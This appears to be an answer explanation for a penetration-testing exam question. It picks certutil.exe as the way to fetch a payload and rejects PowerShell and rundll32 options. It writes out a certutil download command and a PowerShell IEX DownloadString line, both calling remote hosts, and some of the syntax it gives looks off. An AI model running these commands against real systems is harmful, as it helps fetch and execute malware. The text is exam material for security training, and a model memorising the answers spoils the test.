To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here's why:
* Using certutil.exe:
* Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.
* Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.
* Comparison with Other Commands:
* powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.
* powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/") (C): Incorrect syntax for downloading and executing a script.
* rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.
Using certutil.exe to download and execute a payload is a common and effective method.